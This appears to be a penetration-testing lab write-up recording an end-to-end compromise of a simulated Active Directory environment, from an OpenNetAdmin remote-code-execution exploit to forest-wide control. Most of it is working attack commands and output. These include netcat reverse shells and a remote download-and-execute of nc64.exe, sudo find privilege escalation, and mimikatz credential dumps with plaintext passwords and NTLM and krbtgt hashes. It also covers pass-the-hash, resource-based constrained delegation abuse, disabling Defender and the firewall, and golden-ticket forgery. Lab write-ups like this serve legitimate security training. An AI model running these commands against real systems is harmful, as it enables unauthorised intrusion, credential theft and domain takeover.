```
172.16.X.160
172.16.X.165
172.16.X.166
172.16.X.167
172.16.X.168
192.168.X.164
192.168.X.169
192.168.X.164
22/tcp open ssh
                    OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
2048 68:7a:c0:de:12:a9:07:98:1a:52:f8:45:ea:24:68:79 (RSA)
256 5c:b3:b9:48:73:e9:e4:01:6b:b7:9f:ee:0d:0c:ba:eb (ECDSA)
256 ee:97:de:dd:52:f5:e1:bf:28:b4:4a:6b:93:42:ce:ee (ED25519)
80/tcp open ssl/http?
| http-cookie-flags:
| /:
   ONA_SESSION_ID:
     httponly flag not set
_http-title: OpenNetAdmin :: 0wn Your Network
192.168.X.169
80/tcp open http
                    Microsoft IIS httpd 10.0
| http-methods:

    □ Potentially risky methods: TRACE


|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
49670/tcp open msrpc Microsoft Windows RPC
:: URL
               : http://192.168.X.164/FUZZ
:: Wordlist
               : FUZZ: /usr/share/dirb/wordlists/big.txt
:: Follow redirects : false
:: Calibration
                : false
:: Timeout
                : 10
:: Threads
                : 40
:: Matcher
                : Response status: all
              : Response status: 404
:: Filter
.htpasswd
                   [Status: 403, Size: 279, Words: 20, Lines: 10]
.htaccess
                  [Status: 403, Size: 279, Words: 20, Lines: 10]
```

[Status: 301, Size: 317, Words: 20, Lines: 10]

config

images [Status: 301, Size: 317, Words: 20, Lines: 10] include [Status: 301, Size: 318, Words: 20, Lines: 10] local [Status: 301, Size: 316, Words: 20, Lines: 10] modules [Status: 301, Size: 318, Words: 20, Lines: 10] plugins [Status: 301, Size: 318, Words: 20, Lines: 10] [Status: 403, Size: 279, Words: 20, Lines: 10] server-status [Status: 403, Size: 279, Words: 20, Lines: 10] .htaccess logout.php [Status: 200, Size: 124, Words: 8, Lines: 5] .html [Status: 403, Size: 279, Words: 20, Lines: 10] [Status: 200, Size: 4309, Words: 1064, Lines: 90] login.php

# So we have OpenNetAdmin v18.1.1



#### https://github.com/amriunix/ona-rce

root@kali:~/Ogimmeshellec/Lab# python3 ona-rce.py exploit http://192.168.X.164/

- [\*] OpenNetAdmin 18.1.1 Remote Code Execution
- [+] Connecting!
- [+] Connected Successfully!

sh\$ whoami

Www-data

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.X.Y 443 >/tmp/f

- [+] Checking 'sudo -l', /etc/sudoers, and /etc/sudoers.d
- [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sudo-and-suid Matching Defaults entries for www-data on web05:

env\_reset, mail\_badpass,

secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/snap/bin

User www-data may run the following commands on web05:

```
(root) NOPASSWD: /usr/bin/find
                        241K Mar 6 2018 /bin/nano
-rwsr-xr-x 1 root root
sudo /usr/bin/find . -exec /bin/sh \; -quit
cat proof.txt
84d6b516a612290c442acc8aa20032d0
In .bash_history of pete, we find:
kinit pete@complyedge.com
sudo nano /etc/krb5.conf
ping dmzdc01
kinit -V pete@COMPLYEDGE.COM
cat /etc/krb5.conf
[logging]
default = FILE:/var/log/krb5libs.log
kdc = FILE:/var/log/krb5kdc.log
admin_server = FILE:/var/log/kadmind.log
[libdefaults]
default_realm = COMPLYEDGE.COM
dns_lookup_realm = false
dns_lookup_kdc = false
ticket_lifetime = 24h
renew lifetime = 7d
forwardable = true
rdns = false
[realms]
COMPLYEDGE.com = {
 kdc = dmzdc01.complyedge.com
 default_domain = complyedge.com
}
[domain_realm]
.complyedge.com = COMPLYEDGE.COM
complyedge.com = COMPLYEDGE.COM
[appdefaults]
pam = {
 minimum_uid = 3000
```

```
}
```

Then we add ssh key so we can do: ssh -i id rsa "pete@complyedge.com@192.168.X.164"

scp -i id\_rsa root@192.168.X.164:/etc/krb5.keytab.

root@kali:~/Ogimmeshellec/Lab# python3 keytabextract.py krb5.keytab

- [\*] RC4-HMAC Encryption detected. Will attempt to extract NTLM hash.
- [\*] AES256-CTS-HMAC-SHA1 key found. Will attempt hash extraction.
- [\*] AES128-CTS-HMAC-SHA1 hash discovered. Will attempt hash extraction.
- [+] Keytab File successfully imported.

REALM: COMPLYEDGE.COM SERVICE PRINCIPAL: WEB05\$/

NTLM HASH: 5c184a9fdf5953fd1d02a5831f087457

AES-256 HASH:

f9b2fd67dd42457d038bc6aa05b2ca7442d2e894f2eb469a4c8dd426ae4e03bb

AES-128 HASH: 08a54469ec73551dc31d71bcac26263e

#### Let's scan the other hosts

```
172.16.X.160
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
 version
| bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-02-14 21:19:03Z)
135/tcp open msrpc
                        Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open Idap
                       Microsoft Windows Active Directory LDAP (Domain: comply.com0.,
Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
                          Microsoft Windows RPC over HTTP 1.0
593/tcp open ncacn http
636/tcp open tcpwrapped
3268/tcp open Idap
                        Microsoft Windows Active Directory LDAP (Domain: comply.com0.,
Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
```

```
3389/tcp open ms-wbt-server Microsoft Terminal Services
ssl-cert: Subject: commonName=rdc02.comply.com
| Issuer: commonName=rdc02.comply.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-13T18:13:22
| Not valid after: 2021-08-15T18:13:22
| MD5: 786b 8626 7970 71f9 09c9 963d a161 e4e8
SHA-1: 4200 a1a7 897a d24d 8969 b792 c4d2 b635 8f4a b56a
_ssl-date: 2021-02-14T21:21:28+00:00; -20s from scanner time.
                       Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
5985/tcp open ssl/http
_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf
                         .NET Message Framing
49667/tcp open msrpc
                         Microsoft Windows RPC
49672/tcp open ncacn http Microsoft Windows RPC over HTTP 1.0
49673/tcp open msrpc
                         Microsoft Windows RPC
49677/tcp open msrpc
                         Microsoft Windows RPC
                         Microsoft Windows RPC
49702/tcp open msrpc
                         Microsoft Windows RPC
49711/tcp open msrpc
1 service unrecognized despite returning data. If you know the service/version, please submit
the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service:
SF-Port53-TCP:V=7.70SVN%I=7%D=2/14%Time=602993E0%P=x86_64-unknown-linux-gn
SF:version\x04bind\0\0\x10\0\x03");
MAC Address: 00:50:56:86:4C:48 (VMware)
Service Info: Host: RDC02; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
_clock-skew: mean: -20s, deviation: 0s, median: -20s
| nbstat: NetBIOS name: RDC02, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:86:4c:48
(VMware)
| Names:
| RDC02<20>
                   Flags: <unique><active>
| RDC02<00>
                   Flags: <unique><active>
| COMPLY<00>
                     Flags: <group><active>
| COMPLY<1c>
                     Flags: <group><active>
| COMPLY<1b>
                     Flags: <unique><active>
p2p-conficker: ERROR: Script execution failed (use -d to debug)
smb2-security-mode:
2.02:
   Message signing enabled and required
| smb2-time:
```

```
I start_date: N/A
172.16.X.165
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindRegTCP:
   version
   bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-02-14 09:40:44Z)
                         Microsoft Windows RPC
135/tcp open msrpc
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
                       Microsoft Windows Active Directory LDAP (Domain: comply.com0.,
389/tcp open Idap
Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
                        Microsoft Windows Active Directory LDAP (Domain: comply.com0.,
3268/tcp open Idap
Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
ssl-cert: Subject: commonName=cdc07.ops.comply.com
| Issuer: commonName=cdc07.ops.comply.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-13T07:45:15
| Not valid after: 2021-08-15T07:45:15
| MD5: b41f 2be4 8c12 2e51 8e90 33d3 51b7 94f2
SHA-1: 78ca 25d9 ef72 4375 4a67 cbf4 aefc 4514 8625 762e
_ssl-date: 2021-02-14T09:43:10+00:00; -45s from scanner time.
5985/tcp open ssl/http
                        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf
                          .NET Message Framing
49667/tcp open msrpc
                          Microsoft Windows RPC
49672/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
                          Microsoft Windows RPC
49673/tcp open msrpc
49677/tcp open msrpc
                          Microsoft Windows RPC
49691/tcp open msrpc
                          Microsoft Windows RPC
49710/tcp open msrpc
                          Microsoft Windows RPC
```

date: 2021-02-14T21:21:13

### 172.16.X.166

135/tcp open msrpc Microsoft Windows RPC

445/tcp open microsoft-ds?

3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=file06.ops.comply.com

| Issuer: commonName=file06.ops.comply.com

| Public Key type: rsa | Public Key bits: 2048

| Signature Algorithm: sha256WithRSAEncryption

| Not valid before: 2021-02-13T07:45:30 | Not valid after: 2021-08-15T07:45:30

| MD5: d8a2 1ef8 a7f7 7efa 4991 2288 f0af d9eb

\_SHA-1: 968c 0637 3576 da0f 348c d860 1e1b c233 fd64 b071 \_ssl-date: 2021-02-14T09:46:59+00:00; -45s from scanner time.

5985/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

\_http-server-header: Microsoft-HTTPAPI/2.0

|\_http-title: Not Found

49669/tcp open msrpc Microsoft Windows RPC

### 172.16.X.167

445/tcp open microsoft-ds?

3389/tcp open ms-wbt-server Microsoft Terminal Services | ssl-cert: Subject: commonName=jump09.ops.comply.com

| Issuer: commonName=jump09.ops.comply.com

| Public Key type: rsa | Public Key bits: 2048

| Signature Algorithm: sha256WithRSAEncryption

| Not valid before: 2021-02-13T07:45:08 | Not valid after: 2021-08-15T07:45:08

| MD5: 0976 bbb3 7530 659e 483d 27a4 635c f242

|\_SHA-1: b743 fec0 34bd 9c81 2cf5 edf5 a480 4e77 5087 687a |\_ssl-date: 2021-02-14T09:50:38+00:00; -46s from scanner time.

5985/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

http-server-header: Microsoft-HTTPAPI/2.0

|\_http-title: Not Found

49669/tcp open msrpc Microsoft Windows RPC

#### 172.16.X.168

22/tcp open ssh OpenSSH for\_Windows\_7.7 (protocol 2.0)

ssh-hostkey:

2048 f1:47:c2:64:26:ea:ff:82:f4:62:6e:3f:cd:e3:bd:c2 (RSA)

256 49:85:cd:1b:86:3e:01:71:8e:2a:82:98:a4:0b:34:ef (ECDSA)

\_ 256 f2:34:49:6a:fa:88:74:7b:9d:8d:83:67:c9:16:20:22 (ED25519)

```
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindRegTCP:
   version
   bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2021-02-14 09:54:35Z)
135/tcp open msrpc
                        Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open Idap
                       Microsoft Windows Active Directory LDAP (Domain:
complyedge.com0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open Idap
                        Microsoft Windows Active Directory LDAP (Domain:
complyedge.com0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
ssl-cert: Subject: commonName=dmzdc01.complyedge.com
| Issuer: commonName=dmzdc01.complyedge.com
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2021-02-13T07:44:07
Not valid after: 2021-08-15T07:44:07
| MD5: 0225 afa3 a262 b4e8 4a67 088d 5d5b 45e2
SHA-1: 9cd6 4a81 ba39 b675 7855 dd17 2ff6 e8c8 af87 d274
ssl-date: 2021-02-14T09:57:01+00:00; +4s from scanner time.
5985/tcp open ssl/http
                        Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
http-server-header: Microsoft-HTTPAPI/2.0
| http-title: Not Found
9389/tcp open mc-nmf
                          .NET Message Framing
49667/tcp open msrpc
                          Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc
                          Microsoft Windows RPC
49674/tcp open msrpc
                          Microsoft Windows RPC
                          Microsoft Windows RPC
49692/tcp open msrpc
                          Microsoft Windows RPC
49710/tcp open msrpc
```

Then in /tmp, we find this:

-rw----- 1 pete@complyedge.com domain users@complyedge.com 1254 Feb 14 04:45 krb5cc\_75401103\_TVXERC

Which is pete's credential cache file
So let's import it
pete@complyedge.com@web05:/tmp\$ export
KRB5CCNAME=/tmp/krb5cc\_75401103\_TVXERC
pete@complyedge.com@web05:/tmp\$ klist
Ticket cache: FILE:/tmp/krb5cc\_75401103\_TVXERC
Default principal: pete@COMPLYEDGE.COM

Valid starting Expires Service principal 02/14/2021 04:45:15 02/14/2021 14:45:15 krbtgt/COMPLYEDGE.COM@COMPLYEDGE.COM renew until 02/21/2021 04:45:15

So this means we have a TGT for pete in the domain complyedge.com

But let's download this ccache file to our machine

sudo apt install krb5-user

172.16.X.160 rdc02.comply.com

172.16.X.165 cdc07.ops.comply.com

172.16.X.166 file06.ops.comply.com

172.16.X.167 jump09.ops.comply.com

172.16.X.168 dmzdc01.complyedge.com

172.16.X.164 web05.complyedge.com

172.16.X.254 proxy01.ops.complyedge.com

sshuttle -v -e "ssh -i id\_rsa" -r root@192.168.X.164 172.16.X.0/24

Comment out #proxy\_dns in /etc/proxychains.conf

export KRB5CCNAME=/root/Ogimmeshellec/Lab/krb5cc 75401103 TVXERC

Then to test it works, we can do:

python3 GetADUsers.py -all -k -no-pass -dc-ip 172.16.X.168 complyedge.com/pete Impacket v0.9.23.dev1+20210127.141011.3673c588 - Copyright 2020 SecureAuth Corporation

[\*] Querying DMZDC01 for information about domain.

Name Email PasswordLastSet LastLogon

Administrator 2020-08-02 19:53:07.769849 2021-02-14

08:44:17.699201

Guest <never> <never>

krbtgt 2020-07-15 22:28:10.179601 <never>

pete 2020-07-15 22:42:05.627336 2021-02-14 11:45:15.949197

2021-02-14 09:00:44.683588 <never>

sshd 2020-07-16 00:35:45.441022 <never>

jim 2020-07-16 09:07:32.013278 2020-08-02 19:50:14.863488

From the machine ,we can run:

Idapsearch -Y GSSAPI -H Idap://dmzdc01.complyedge.com -D "pete@complyedge.com" -W -b "dc=complyedge,dc=com" "servicePrincipalName=\*" servicePrincipalName

But no SPNs. Let's dump users:

Idapsearch -Y GSSAPI -H Idap://dmzdc01.complyedge.com -D "pete@complyedge.com" -W -b "dc=complyedge,dc=com" '(&(objectClass=user))'

# Pete, CEAdmins, CEUsers, complyedge.com memberOf: CN=Domain Admins,CN=Users,DC=complyedge,DC=com

# Jim, CEAdmins, CEUsers, complyedge.com distinguishedName: CN=Jim,OU=CEAdmins,OU=CEUsers,DC=complyedge,DC=com

So Pete is domain admin. Let's try to connect to dmzdc01.complyedge.com then since we got tgt for him.


In /var/log/auth.log, I find:

Feb 15 03:59:41 web05 sshd[1785]: Accepted password for pete@complyedge.com from 172.16.X.168 port 54139 ssh2

Feb 15 03:59:41 web05 sshd[1785]: pam\_unix(sshd:session): session opened for user pete@complyedge.com by (uid=0)

So it seems that pete is logging in from the DC every hour, so a cronjob running that.

Then we can run bloodhound with the hash of machine account python3 bloodhound.py -u 'WEB05\$@COMPLYEDGE.COM' --hashes aad3b435b51404eeaad3b435b51404ee:5c184a9fdf5953fd1d02a5831f087457 -d complyedge.com -ns 172.16.X.168 --dns-tcp -c All



So pete is domain admin as we saw from Idap earlier. Let's try to connect python3 psexec.py -k -no-pass -target-ip 172.16.X.168 -dc-ip 172.16.X.168 dmzdc01.complyedge.com

- [\*] Requesting shares on 172.16.X.168.....
- [\*] Found writable share ADMIN\$
- [\*] Uploading file JcvkakNY.exe
- [\*] Opening SVCManager on 172.16.X.168.....
- [\*] Creating service dwqv on 172.16.X.168.....
- [\*] Starting service dwqv.....
- [!] Press help for extra shell commands Microsoft Windows [Version 10.0.17763.1397]
- (c) 2018 Microsoft Corporation. All rights reserved.

## C:\Windows\system32>

more c:\users\administrator\desktop\proof.txt 48032d41ce0f31dd5a2b96031dad9936 Then we run Seatbelt, mimikatz and bloodhound from the DC

\* Username : pete

\* Domain : COMPLYEDGE

\* NTLM : 61c6e14f88cd70638f901ea51796a194

\* Username : Administrator

\* Domain : complyedge.com

\* Password : fgds90345SDfsw32

RID: 000001f4 (500) User: Administrator

Hash NTLM: e2b475c11da2a0748290d87aa966c327

Secret: DefaultPassword

cur/text: sdfsdSE423 (which is password for pete user)

mimikatz(commandline) # lsadump::lsa /patch

Domain: COMPLYEDGE / S-1-5-21-1416213050-106196312-571527550

RID: 000001f4 (500) User: Administrator

LM:

NTLM: 289136c329f3e42331048a0465b2290a

RID: 000001f6 (502)

User: krbtgt

LM:

NTLM: 1972974715cd3613d4105ad189e54950

RID: 0000044f (1103)

User : pete

LM :

NTLM: 61c6e14f88cd70638f901ea51796a194

RID: 00000452 (1106)

User: sshd

LM:

NTLM: 8fa75d9aa9f3b6a05eb9e24fc1b9cdfe

RID: 00000453 (1107)

User : jim LM :

NTLM: e48c13cefd8f9456d79cd49651c134e8

RID: 000003e8 (1000) User: DMZDC01\$

LM:

NTLM: 4c299ca486b93f3288a77e5ec23ed1b1

RID: 00000454 (1108)

User: WEB05\$

LM:

NTLM: 5c184a9fdf5953fd1d02a5831f087457

RID: 00000450 (1104)

User: COMPLY\$

LM:

NTLM: fc0dba5c3437e0b1f60dbc590eb0b891

# Get-DomainTrust


SourceName : complyedge.com
TargetName : comply.com

TrustType : WINDOWS\_ACTIVE\_DIRECTORY

TrustAttributes: FOREST\_TRANSITIVE

TrustDirection: Bidirectional

WhenCreated : 7/15/2020 8:57:12 PM WhenChanged : 2/15/2021 9:15:45 AM



Forest – a transitive trust between one forest root domain and another forest root domain. Forest trusts also enforce SID filtering.

So here sid filtering is turned off so we can't use the golden ticket attack with /sids:

SID of Enterprise admins group in comply.com: S-1-5-21-1135011135-3178090508-3151492220-519

To get my shell back, I can do:

python3 psexec.py -hashes :289136c329f3e42331048a0465b2290a

administrator@172.16.X.168

Then we create a sacrificial session:

.\Rubeus.exe createnetonly /program: "C:\users\rulon.bat"

Rulon.bat contains: c:\users\nc64.exe 192.168.X.Y 443 -e cmd.exe

Then we enumerate with PowerView against domain ops.comply.com and complyedge.com

We have user nina and pete in ops.comply.com

Nina is memberof : CN=FileAdmin,OU=OpsGroups,DC=ops,DC=comply,DC=com

Then I run:

.\SharpHound.exe --CollectionMethod All --Domain ops.comply.com

.\SharpHound.exe --CollectionMethod All --Domain complyedge.com

.\SharpHound.exe --CollectionMethod All --Domain comply.com

The user JIM@COMPLYEDGE.COM is a member of the group FOREIGNFILEADMIN@OPS.COMPLY.COM.

So let's use pass the hash using the hash from above:
evil-winrm -u complyedge.com\\jim -H e48c13cefd8f9456d79cd49651c134e8 -i 172.16.X.166
\*Evil-WinRM\* PS C:\Users> whoami
complyedge\jim
\*Evil-WinRM\* PS C:\Users> hostname
file06

It worked! Jim is also admin on this machine

Evil-WinRM\* PS C:\Users\administrator\desktop> more proof.txt 3a15a2f052b451eee73ca6384089ebce

RID: 000001f4 (500) User: Administrator

LM:

NTLM: 8821c97bc6b3d2aed6e30a9540f208f3

./mimikatz.exe "privilege::debug" "token::elevate" "lsadump::lsa /patch" "exit"

From BloodHound, we have:

The computer FILE06.OPS.COMPLY.COM has generic write access to the computer JUMP09.OPS.COMPLY.COM.

But first let's get a system shell:

python3 /opt/Windows/Impacket/examples/psexec.py -no-pass -hashes :e48c13cefd8f9456d79cd49651c134e8 complyedge.com/jim@172.16.X.166

Then spawn a sacrificial session:

.\Rubeus.exe createnetonly /program: "C:\users\rulon.bat"

Get-DomainUser -allowdelegation -admincount

Gives that we can impersonate Administrator and Pete

So let's configure RBCD attack:

New-MachineAccount -MachineAccount rulon -Password \$(ConvertTo-SecureString

'Password123!' -AsPlainText -Force) -Verbose

VERBOSE: [+] Domain Controller = cdc07.ops.comply.com

VERBOSE: [+] Domain = ops.comply.com

VERBOSE: [+] SAMAccountName = rulon\$

VERBOSE: [+] Distinguished Name = CN=rulon, CN=Computers, DC=ops, DC=comply, DC=com

[+] Machine account rulon added

Set-ADComputer jump09 -PrincipalsAllowedToDelegateToAccount rulon\$ -Server 172.16.X.165 -Verbose

VERBOSE: Performing the operation "Set" on target

"CN=JUMP09,OU=OpsServers,OU=OpsComputers,DC=ops,DC=comply,DC=com".

Then we can confirm jump09 has msDS-AllowedToActOnBehalfOfOtherIdentity:

```
S C:\users> Get-DomainComputer jump09
et-DomainComputer jump09
                                                                               : 2/15/2021 9:17:02 AM

: 71

: 12/31/1600 4:00:00 PM

: CN=JUMP09,OU=OpsServers,OU=OpsComputers,DC=ops,DC=comply,DC=com

: {top, person, organizationalPerson, user...}

: 2/15/2021 9:03:14 AM

: JUMP09
 pwdlastset
badpasswordtime
distinguishedname
objectclass
lastlogontimestamp
                                                                               : JUMP09
 name
                                                                              : S-1-5-21-2032401531-514583578-4118054891-1106
samaccountname
localpolicyflags
                                                                               : JUMP09$
 codepage
samaccounttype
accountexpires
                                                                              : MACHINE_ACCOUNT
: NEVER
                                                                              : JUMP09
: 2/15/2021 8:04:09 PM
whenchanged
instancetype

    usncreated
    : 13129

    objectguid
    : 09e4b0224-6ae9-4e2e-9326-85acd9d7a298

    operatingsystem
    : Windows Server 2019 Standard

    operatingsystemversion
    : 10.0 (17763)

    lastlogoff
    : 12/31/1600 4:00:00 PM

    msds-allowedtoactonbehalfofotheridentity
    : {1, 0, 4, 128...}

    objectcategory
    : CN-Computer, CN-Schema, CN-Configuration, DC-comply, DC-com

    dscorepropagationdata
    : {7/16/2020 6:43:32 AM, 7/15/2020 9:50:12 PM, 7/15/2020 9:41:16 PM, 1/1/1601 12:00:00 AM}

    serviceprincipalname
    : {WSMAN/jump09, WSMAN/jump09.ops.comply.com, TERMSRV/JUMP09,

objectcategory
dscorepropagationdata
                                                      : {WSMAN/jump09, WSMAN/jump09.ops.comply.com, TERMSRV/JUMP09, TERMSRV/jump09.ops.comply.com...}
serviceprincipalname
                                                                             : 2/15/2021 12:03:16 PM
badpwdcount
                                                                              : WORKSTATION_TRUST_ACCOUNT
: 7/15/2020 9:29:45 PM
whencreated
                                                                               : 0
: 515
primarygroupid
                                                                               : False
: 28
iscriticalsystemobject
msds-supportedencryptiontypes
dnshostname
                                                                                : jump09.ops.comply.com
```

.\Rubeus.exe s4u /user:rulon\$ /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /impersonateuser:administrator /msdsspn:cifs/jump09.ops.comply.com /ptt /domain:ops.comply.com /dc:172.16.X.165

dir \\jump09.ops.comply.com\C\$

Directory: \\jump09.ops.comply.com\C\$

Mode	LastWriteTime		Length Name
d	7/15/2020	12:48 PM	PerfLogs
d-r	7/15/2020	5:39 PM	Program Files
d	7/15/2020	5:29 PM	Program Files (x86)
d-r	7/16/2020	6:50 AM	Users
d	7/15/2020	2:30 PM	Windows

more \\jump09.ops.comply.com\C\\$\Users\Administrator\Desktop\proof.txt e4c0df2f40567c401754f890cc6bae50

Then it's time to get a shell.

.\Rubeus.exe s4u /user:rulon\$ /rc4:2B576ACBE6BCFDA7294D6BD18041B8FE /impersonateuser:administrator /msdsspn:cifs/jump09.ops.comply.com /altservice:host,wsman,rpcss /ptt /domain:ops.comply.com /dc:172.16.X.165

But nothing works from windows shell

So instead, let's try to use s4u attack using getST.py from impacket:

python3 /opt/Windows/Impacket/examples/getST.py -spn CIFS/jump09.ops.comply.com - impersonate 'administrator' -ts ops.comply.com/rulon\\$:'Password123!' -dc-ip 172.16.X.165 [2021-02-16 13:14:27] [\*] Getting TGT for user [2021-02-16 13:14:27] [\*] Impersonating administrator [2021-02-16 13:14:27] [\*] Requesting S4U2self

[2021-02-16 13:14:27] [\*] Requesting S4U2Proxy

[2021-02-16 13:14:27] [\*] Saving ticket in administrator.ccache

export KRB5CCNAME=/root/Ogimmeshellec/Lab/administrator.ccache python3 /opt/Windows/Impacket/examples/psexec.py -k -no-pass administrator@jump09.ops.comply.com

So here I use the machine account rulon I created, since this one is allowed to delegate to jump09.

Set-MpPreference -DisableIntrusionPreventionSystem \$true -DisableIOAVProtection \$true -DisableRealtimeMonitoring \$true

NetSh Advfirewall set allprofiles state off

Let's dump mimikatz creds since I saw from bloodhound earlier that pete user in ops.comply.com domain had a session on this jump09 machine.

\* Username : pete

\* Domain : OPS.COMPLY.COM \* Password : 0998ASDaas2

RID: 000001f4 (500) User: Administrator

LM :

NTLM: 1e4dbd55348c6fd346b92b2f825b3f1e

Secret: \$MACHINE.ACC

NTLM:0989fbbecafeafbcf0aa84df2208793e

RID: 000001f4 (500)

User: Administrator

LM:

NTLM: 818eb2fc9965b91a34a454059403f24d

RID: 000001f5 (501)

User: Guest

LM : NTLM :

RID: 000001f6 (502)

User : krbtgt

LM:

NTLM: 7c7865e6e30e54e8845aad091b0ff447

RID: 00000450 (1104)

User : pete

LM:

NTLM: 6db6cfdf45964a02a80e85a7ab9f4314

RID: 00000455 (1109)

User : nina

LM:

NTLM: 64530ccaed7b42c8bd85d133872a2ae5

RID: 000003e8 (1000)

User: CDC07\$

LM:

NTLM: fcb2426e36d3c2efc2cf373392d8fe3f

RID: 00000451 (1105) User: PROXY01\$

LM :

NTLM: 7014b337fab062bae905440e95461182

RID: 00000452 (1106)

User: JUMP09\$

LM:

NTLM: ca76faf46d750fe1ace68d4602c7620f

RID: 00000453 (1107)

User: FILE06\$

LM:

NTLM: 80558760e197dcc9b52dafac1dd11374

RID: 0000044f (1103) User: COMPLY\$

LM:

NTLM: 377eccc12e99c21fe2ece32fd160a2f3

Then pete is domain admins in the ops.comply.com domain so we can do: evil-winrm -u ops.comply.com\\pete -p '0998ASDaas2' -i 172.16.X.165

Evil-WinRM\* PS C:\Users\administrator\desktop> more proof.txt 68032d41ce0f31dd5a2b96031dad9936

To run SharpHound from this cdc07.ops.comply.com, we login with psexec so we are in domain context:

python3 /opt/Windows/Impacket/examples/psexec.py ops.comply.com/pete@cdc07.ops.comply.com

Then let's check what kind of trust it is between ops.comply.com and comply.com: Get-DomainTrust

SourceName : ops.comply.com
TargetName : comply.com

TrustType : WINDOWS\_ACTIVE\_DIRECTORY

TrustAttributes: WITHIN\_FOREST

TrustDirection: Bidirectional

WhenCreated : 7/15/2020 8:42:49 PM WhenChanged : 2/16/2021 11:40:37 AM

SID for enterprise admins in comply.com domain is: S-1-5-21-1135011135-3178090508-3151492220-519

Then we need to get the ntlm hash of krbtgt user in ops.comply.com domain so we do: .\mimikatz.exe "Isadump::lsa /inject /name:krbtgt" "exit"

RID: 000001f6 (502)

User: krbtgt

\* Primary

NTLM: 7c7865e6e30e54e8845aad091b0ff447

So to jump between these two domains, we do:

\mimikatz.exe "kerberos::golden /user:Administrator /domain:ops.comply.com /sid:S-1-5-21-2032401531-514583578-4118054891 /krbtgt:7c7865e6e30e54e8845aad091b0ff447 /sids:S-1-5-21-1135011135-3178090508-3151492220-519 /ptt" "exit"

User : Administrator

Domain: ops.comply.com (OPS)

SID : S-1-5-21-2032401531-514583578-4118054891

User Id : 500

Groups Id: \*513 512 520 518 519

Extra SIDs: S-1-5-21-1135011135-3178090508-3151492220-519; ServiceKey: 7c7865e6e30e54e8845aad091b0ff447 - rc4\_hmac\_nt

Lifetime: 2/16/2021 5:08:28 AM; 2/14/2031 5:08:28 AM; 2/14/2031 5:08:28 AM

-> Ticket: \*\* Pass The Ticket \*\*

- \* PAC generated
- \* PAC signed
- \* EncTicketPart generated
- \* EncTicketPart encrypted
- \* KrbCred generated

Golden ticket for 'Administrator @ ops.comply.com' successfully submitted for current session

Then to confirm it worked, we can do: PS C:\Users> dir \\rdc02.comply.com\c\$

Directory: \\rdc02.comply.com\c\$

Mode	LastWriteTime		Length Name
			·
d	7/15/2020	12:48 PM	PerfLogs
d-r	7/15/2020	5:44 PM	Program Files
d	7/15/2020	5:30 PM	Program Files (x86)
d-r	7/15/2020	5:30 PM	Users
d	9/21/2020	5:47 AM	Windows

SystemDirectory: C:\Windows\system32

Organization:

BuildNumber: 17763

RegisteredUser: Windows User

SerialNumber : 00429-70000-00000-AA601

Version : 10.0.17763

invoke-command -computername rdc02.comply.com -scriptblock {iwr -uri http://192.168.X.Y/nc64.exe -o c:\windows\tasks\nc64.exe; c:\windows\tasks\nc64.exe 192.168.X.Y 443 -e cmd.exe}

whoami ops\administrator

hostname hostname rdc02

more proof.txt b03dc83d19a4535dd27dec84910d8b3f

Challenge 5 done!

RID: 000001f4 (500) User: Administrator

Hash NTLM: e2b475c11da2a0748290d87aa966c327

RID: 000001f4 (500) User: Administrator

LM:

NTLM: 069c3e9d2a2945f9f8c89457e395a949

RID: 000001f5 (501)

User: Guest

LM: NTLM:

RID: 000001f6 (502)

User: krbtgt

LM:

NTLM: b03491290492036a4ce26d9221d8978b

